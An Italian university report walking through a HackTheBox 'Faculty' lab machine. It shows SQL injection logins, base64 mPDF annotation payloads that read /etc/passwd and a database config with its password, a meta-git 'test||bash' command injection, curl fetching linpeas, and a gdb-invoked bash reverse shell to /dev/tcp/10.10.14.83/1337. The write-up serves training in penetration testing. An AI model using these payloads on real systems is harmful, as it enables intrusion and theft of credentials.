

REPORT FACULTY

Pierpaolo Spaziani - 0316331
Ingegneria Informatica Magistrale

• SETUP

Ho scaricato la vpn da HTB e l'ho attivata:
sudo openvpn spazio.ovpn

Il mio ip è: 10.10.14.83

Ho attivato la macchina 'Faculty' ed ha ip: 10.10.11.169

E' stata aggiunta tra l'elenco degli host con:
sudo vim /etc/hosts
inserendo:
10.10.11.169 faculty

ENUMERATION

• PORT SCANNING

E' stato effettuato lo scanning delle porte aperte con:
sudo nmap -sS -n -sC -sV faculty -vv
ed è risultato:

Discovered open port 80/tcp on 10.10.11.169
Discovered open port 22/tcp on 10.10.11.169

in particolare:

22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:
| 3072 e9:41:8c:e5:54:4d:6f:14:98:76:16:e7:29:2d:02:16 (RSA)
| ssh-rsa

AAAAB3NzaC1yc2EAAAADAQABAAQGCzpbkoBfa0UKxT+Giw4wE1jz82gGRpuANEdRt+D6gp6hDmrcaODUiU/

N+4nX08jcFBk103cLwU8VisxyRu3wHMTXaYx2WMZXPtb8clv3Hrt+q2m4eL+DBJMkHO10qCx1lwFYcNyJA3CNCj88X8RgWIREalYWyNHeQFzAHZx4SSrCP9aW5QKqAYVAAS4Za0pts4HVYIfuOrxFgO/Z3FL3xynYeyLrFM+iEx0cMI9rIYWG8NzqVnBe180u+7d/y/kcsZU6MkBMmqWQIGA6o4srVx73AqbUDChkv8glvq0ZbD1JYmACuMCdn/GFI8IRIKaw1BaYeuP0I6qgbb65ghdECYEXC3iycPkR77D6gMblbg4F9wvzD9AF//aCR+6t8F29DyP/mh1J8a+yiUHY2HJJJaDvB5vQLg5Y++9yNEDmxlGFQTdJm/n7YhP2Qj+lkfgsERA09pfIWGCCWaXI6fddUG4gp1bHLZkek+exgsimU7hApGFrJCTYPkf78xC3pvxx0=

| 256 43:75:10:3e:cb:78:e9:52:0e:eb:cf:7f:fd:f6:6d:3d (ECDSA)
| ecdsa-sha2-nistp256

AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBDH8WAd+YIbEo4Fpz3+UaOYyCJGFa/E29JORgMAIOXVIGUpvMgQqiaqDMXtbt/G03rGEI9h8dpFAmswN1LJ8uig=

| 256 c1:1c:af:76:2b:56:e8:b3:b8:8a:e9:69:73:7b:e6:f5 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINSCwKubIVScg9d/3Tc/

NAh0n9XH5IE9SBfI2dl+v6F+

80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://faculty.htb
|_http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS

E' stato effettuato lo scanning più approfondito con:
sudo nmap -sS -sV -sC -p22,80 -vvv faculty
ed è risultato:

Discovered open port 80/tcp on 10.10.11.169

Discovered open port 22/tcp on 10.10.11.169

in particolare:

22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 3072 e9:41:8c:e5:54:4d:6f:14:98:76:16:e7:29:2d:02:16 (RSA)

| ssh-rsa

AAAAB3NzaC1yc2EAAAADAQABAAQGCzpbkoBfa0UKxT+Giw4wE1jz82gGRpuANEdRt+D6gp6hDmrcaODUiU/

N+4nX08jcFBk103cLwU8VisxyRu3wHMTXaYx2WMZXPtb8clv3Hrt+q2m4eL+DBJMkHO10

qCx1lwFYcNyJA3CNCj88X8RgWIREaIYWYnHeQFzAHZx4SSrCP9aW5QKqAYVAAS4Za0pts

4HVYIfuOrxFgO/Z3FL3xynYeyLrFM+iEx0cMI9rIYWG8NzqVnBe180u+7d/y/

kcsZU6MkBMmqWQIGA6o4srVx73AqbUDChkv8glvq0ZbD1JYmACuMCdn/

GF18IRIKaw1BaYeuP0I6qgbb65ghdECYEXC3iycPkR77D6gMblbg4F9wvzD9AF//

aCR+6t8F29DyP/mh1J8a+yiUHY2HJJJaDvB5vQLg5Y++9yNEDmxlGFQTdJm/

n7YhP2Qj+lkfgsERA09pflWGCCWaXl6fddUG4gp1bHLZkek+exgsimU7hApGFrJCtYPkf78xC3pvxx0=

| 256 43:75:10:3e:cb:78:e9:52:0e:eb:cf:7f:fd:f6:6d:3d (ECDSA)

| ecdsa-sha2-nistp256

AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBDH8WAd+YlbEo4Fpz

3+UaOYyCJGFa/E29JORgMAIOXVIGUpvMgQqiaqDMXtbt/

G03rGEI9h8dpFAmswN1LJ8uig=

| 256 c1:1c:af:76:2b:56:e8:b3:b8:8a:e9:69:73:7b:e6:f5 (ED25519)

|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINSCwKubIVScg9d/3Tc/

NAh0n9XH5IE9SBfl2dl+v6F+

80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)

|_http-title: Did not follow redirect to http://faculty.htb

|_http-methods:

|_Supported Methods: GET HEAD POST OPTIONS

|_http-server-header: nginx/1.18.0 (Ubuntu)

E' stato quindi scoperto ed aggiunto all'elenco, il virtual host 'faculty.htb':

sudo vim /etc/hosts

aggiornando con:

10.10.11.169 faculty faculty.htb

• ANALISI - <http://faculty.htb>

Andando su '<http://faculty.htb>', si viene redirezionati su '<http://faculty.htb/login.php>', una pagina in cui è possibile solo inserire l'ID della facoltà.

E' stato effettuato una SQL Injection inserendo:

' or 1=1;#

E' stato quindi eseguito il login come: Smith, John C.

La pagina su cui si viene redirezionati contiene un calendario per lo 'School Faculty Scheduling System'.

Non sembra esserci niente di interessante.

Analizzando il sorgente si giunge alla stessa conclusione.

• SCANSIONE FILE - <http://faculty.htb>

E' stata eseguita una scansione dei file con 'gobuster':

gobuster vhost -u <http://faculty.htb> -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt

...non ha aggiunto informazioni...

E' stato provato allora con:

gobuster dir -u <http://faculty.htb> -w /usr/share/wordlists/dirb/big.txt -x txt,php,html ed è risultato:

```

=====
/admin      (Status: 301) [Size: 178] [--> http://faculty.htb/admin/]
/header.php (Status: 200) [Size: 2871]
/index.php  (Status: 302) [Size: 12193] [--> login.php]
/login.php  (Status: 200) [Size: 4860]
/test.php   (Status: 500) [Size: 0]
=====

```

• ANALISI - <http://faculty.htb/admin/>

Andando su '<http://faculty.htb/admin/>', si viene redirezionati su '<http://faculty.htb/admin/login.php>', una pagina su cui è possibile eseguire solo il login.

E' stato effettuato nuovamente una SQL Injection inserendo:

```
' or 1=1;#
```

E' stato quindi eseguito il login come 'Administrator' e si è stati redirezionati su '<http://faculty.htb/admin/index.php?page=home>'.

In questa pagina sono presenti diversi tab che portano alle diverse pagine.

Le uniche cose che risultano interessanti sono:

- 1) i tasti per le new;
- 2) i tasti per i download dei PDF.

1) Dopo diversi tentativi non sembra che gli inserimenti con le new possano portare a qualcosa.

2) Sono state quindi analizzate le richieste di download dei PDF.

Eseguendo il download di un pdf, viene aperta una nuova scheda contenente il pdf richiesto. Intercettando la richiesta con burp, è stato osservato che nella richiesta è presente una stringa molto lunga associata al campo 'pdf'.

Nella risposta è presente il nome del pdf richiesto:

```
OKz4e5BMLSfwn6OpumxTE7WINK.pdf
```

e subito dopo viene effettuata una nuova la richiesta per l'accesso ad esso:

```
http://faculty.htb/mpdf/tmp/OKz4e5BMLSfwn6OpumxTE7WINK.pdf
```

E' stato osservato che nel path è presente la cartella 'tmp' ed inoltre la pagina non sembra essere consultabile per molto -> Le richieste generano dei pdf temporanei.

La stringa presente nella prima richiesta, sembra essere codificata in base64.

Decodificandola con un tool online è stato osservato che risulta essere proprio il contenuto del pdf.

E' stato tentato quindi di sostituirla con dell'altro testo a scelta correttamente codificato (base64-encoded), ed effettivamente il pdf che viene ricevuto in risposta contiene proprio il testo decodificato che era stato inserito.

Sono state eseguite quindi diverse prove di Code Injection, tuttavia il contenuto della richiesta sembra essere preso e inserito tra la dichiarazione di inizio pdf e quella di fine.

```

+-----+
| begin declaration |
+-----+
|      TESTO      |
+-----+
| end declaration  |
+-----+

```

E' stato quindi provato a mandare del codice inserito tra la dichiarazione di fine pdf e quella di inizio, in modo che il le dichiarazioni si 'rompano' e creino 2 pdf separati con l'esecuzione del codice richiesto:

```

+-----+
| end declaration |
+-----+
| code | -> | code |
+-----+
| begin declaration |
+-----+
+-----+
| begin declaration |
+-----+
| end declaration |
+-----+

```

Tentativo fallito...

E' stata fatta una scansione dei file con:

```
gobuster dir -u http://faculty.htb/admin -w /usr/share/wordlists/dirb/common.txt -x
txt,php,html
```

ed è risultato:

```

=====
/ajax.php      (Status: 200) [Size: 0]
/article.txt   (Status: 200) [Size: 0]
/assets        (Status: 301) [Size: 178] [--> http://faculty.htb/admin/assets/]
/courses.php   (Status: 200) [Size: 10148]
/database      (Status: 301) [Size: 178] [--> http://faculty.htb/admin/database/]
/db_connect.php (Status: 200) [Size: 0]
/download.php  (Status: 200) [Size: 17]
/events.php    (Status: 500) [Size: 1193]
/faculty.php   (Status: 200) [Size: 8532]
/header.php    (Status: 200) [Size: 2691]
/home.php      (Status: 200) [Size: 2995]
/index.php     (Status: 302) [Size: 13897] [--> login.php]
/index.php     (Status: 302) [Size: 13897] [--> login.php]
/login.php     (Status: 200) [Size: 5618]
/readme.txt    (Status: 200) [Size: 0]
/schedule.php  (Status: 200) [Size: 5553]
/users.php     (Status: 200) [Size: 1593]
=====

```

Ci sono delle pagine che non vengono visualizzate nonostante restituiscano 'Status: 200'.

Effettuando una ricerca online è stato trovato un sito:

<https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf>

che descrive come creare dei payload per fare un XSS server side con i pdf:

"If a web page is creating a PDF using user controlled input, you can try to trick the bot that is creating the PDF into executing arbitrary JS code.

So, if the PDF creator bot finds some kind of HTML tags, it is going to interpret them, and you can abuse this behaviour to cause a Server XSS."

Un primo tentativo è stato effettuare un 'ping' alla macchina kali.

E' stato aperto un server python sulla porta 8000 sulla kali con:

```
python -m http.server
```

E' stato usato quindi come payload nella richiesta di download:

```
PGItZyBzcmM9Imh0dHA6Ly8xMC4xMC4xNC44Mzo4MDAwIj4=
```

che è il base64-encode di:

```

```

Risultato positivo!

E' stato effettuato un tentativo di ricezione dell'/etc/passwd con il seguente payload:

PGFubm90YXRpb24gZmlsZT0iL2V0Yy9wYXNzd2QilGNvbnRlbnQ9li9ldGMvcGFzc3dkliBpY29uP
SJHcmFwaClgdGl0bGU9IkF0dGFjaGVklEZpbGU6IC9ldGMvcGFzc3dkliBwb3MteD0iMTk1liAvPg
==

che è il base64-encode di:

```
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /  
etc/passwd" pos-x="195" />
```

Mandata la richiesta e ricevuto il nome del pdf, è bastato aprirlo sul browser per avere il file 'passwd' tra i file attached.

L'/etc/passwd della macchina è quindi:

```
root:x:0:0:root:/root:/bin/bash  
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin  
bin:x:2:2:bin:/bin:/usr/sbin/nologin  
sys:x:3:3:sys:/dev:/usr/sbin/nologin  
sync:x:4:65534:sync:/bin:/bin/sync  
games:x:5:60:games:/usr/games:/usr/sbin/nologin  
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin  
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin  
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin  
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin  
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin  
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin  
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin  
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin  
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin  
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin  
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin  
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin  
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/  
nologin  
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin  
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/  
nologin  
messagebus:x:103:106:./nonexistent:/usr/sbin/nologin  
syslog:x:104:110:./home/syslog:/usr/sbin/nologin  
_apt:x:105:65534:./nonexistent:/usr/sbin/nologin  
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false  
uidd:x:107:112:./run/uidd:/usr/sbin/nologin  
tcpdump:x:108:113:./nonexistent:/usr/sbin/nologin  
landscape:x:109:115:./var/lib/landscape:/usr/sbin/nologin  
pollinate:x:110:1:./var/cache/pollinate:/bin/false  
sshd:x:111:65534:./run/sshd:/usr/sbin/nologin  
systemd-coredump:x:999:999:systemd Core Dumper:./usr/sbin/nologin  
lxd:x:998:100:./var/snap/lxd/common/lxd:/bin/false  
mysql:x:112:117:MySQL Server,,,:/nonexistent:/bin/false  
gbyolo:x:1000:1000:gbyolo:/home/gbyolo:/bin/bash  
postfix:x:113:119:./var/spool/postfix:/usr/sbin/nologin  
developer:x:1001:1002:,,,:/home/developer:/bin/bash  
usbmux:x:114:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
```

Gli utenti esistenti sono quindi:

- root
- gbyolo
- developer

Potendo quindi ricevere file sono state richieste le pagine note che non venivano visualizzate.

In particolare è stata richiesta 'db_connect.php' con:

PGFubm90YXRpb24gZmlsZT0iZGJfY29ubmVjdC5waHAiGNvbnRlbnQ9ImRiX2NvbW5lY3QucGh

wliBpY29uPSJHcmFwaClgdGI0bGU9IkF0dGFjaGVkiEZpbGU6IGRiX2Nvbm5lY3QucGhwliBwb3MteD0iMTk1IiAvPg==

che è il base64-encode di:

```
<annotation file="db_connect.php" content="db_connect.php" icon="Graph"
title="Attached File: db_connect.php" pos-x="195" />
```

al cui interno c'era:

```
<?php $conn= new mysqli('localhost','sched','Co.met06aci.dly53ro.per','scheduling_db')or
die("Could not connect to mysql".mysqli_error($conn));
```

—> possibile password: Co.met06aci.dly53ro.per

• SSH

E' stato effettuato un tentativo di accesso alla macchina con ssh:

```
ssh gbyolo@faculty
```

con password:

```
Co.met06aci.dly53ro.per
```

Accesso effettuato!

PRIV_ESCAL

— user: gbyolo — — — — —

• SUDO

E' stato eseguito con la stessa password:

```
sudo -l
```

il risultato è:

Matching Defaults entries for gbyolo on faculty:

```
env_reset, mail_badpass,
```

```
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
```

User gbyolo may run the following commands on faculty:

```
(developer) /usr/local/bin/meta-git
```

Quindi è possibile eseguire come utente 'developer' il comando 'meta-git'.

• META-GIT

E' stato trovato online (<https://hackerone.com/reports/728040>) un vulnerabilità di 'meta-git' per cui eseguendo:

```
sudo -u developer /usr/local/bin/meta-git clone 'test||bash'
```

da una directory che l'utente 'developer' può leggere, si ottiene una shell come 'developer'.

— user: developer — — — — —

• LINPEAS

E' stato trasferito 'linpeas' dalla kali ed è stato eseguito.

Quindi dalla kali è stato eseguito:

```
python -m http.server
```

e dalla faculty:

```
curl http://10.10.14.83:8000/linpeas.sh > /tmp/linpeas.sh
```

è stato reso eseguibile:

```
chmod +x /tmp/linpeas.sh
```

ed è stato lanciato:

```
/tmp/linpeas.sh
```

In particolare è stato evidenziato:

```
gdb was found in PATH
```

Cercando 'gdb' con:

```
which gdb
```

viene restituito:

```
-rwxr-x--- 1 root debug 8440200 Dec  8 2021 /usr/bin/gdb
```

risulta quindi che è eseguibile dagli utenti appartenenti al gruppo 'debug'.

Eseguendo il comando 'id', viene restituito:

```
uid=1001(developer) gid=1002(developer) groups=1002(developer), 1001(debug),  
1003(faculty)
```

Quindi developer fa parte del debug group ed è quindi possibile eseguire gdb.

• GDB

Dalla pagina man di gdb:

"The purpose of a debugger such as GDB is to allow you to see what is going on "inside" another program while it executes – or what another program was doing at the moment it crashed."

inoltre permette di:

"Change things in your program, so you can experiment with correcting the effects of one bug and go on to learn about another."

e usando il flag '-p' o '--pid':

"Attach GDB to an already running program, with the PID pid."

infatti:

"You can specify a process ID as a second argument or use option -p, if you want to debug a running process:
gdb -p 1234"

Quindi è possibile prendere un programma che gira come root ed usarlo per generare una reverse shell.

Eseguendo:

```
ps aux | grep root
```

è possibile vedere i programmi che girano come root.

Tra questi è presente:

```
root      725  0.0  0.9 26896 18104 ?        Ss   10:49   0:00 /usr/bin/python3 /usr/bin/  
networkd-dispatcher --run-startup-triggers
```

Quindi è possibile mandare python3 in debug mode eseguendo:

```
gdb -p 725
```

Si è messa la kali in ascolto con netcat sulla porta 1337:

```
nc -lvnp 1337
```

E' stata presa da 'PayloadsAllTheThings' una reverse shell in bash e modificata con l'ip della kali e porta 1337:

```
bash -i >& /dev/tcp/10.10.14.83/1337 0>&1
```

ed è stata resa eseguibile:

```
call system("bash -c 'bash -i >& /dev/tcp/10.10.14.83/1337 0>&1'")
```

Eseguendo quindi:

```
gdb -p 725
```

```
call system("bash -c 'bash -i >& /dev/tcp/10.10.14.83/1337 0>&1'")
```

si ottiene la root shell.

```
(pier@bad)-[~]  
$ nc -lvnp 1337  
listening on [any] 1337 ...  
connect to [10.10.14.83] from (UNKNOWN) [10.10.11.169] 60184  
bash: cannot set terminal process group (725): Inappropriate ioctl for device  
bash: no job control in this shell  
root@faculty:/# id  
id  
uid=0(root) gid=0(root) groups=0(root)
```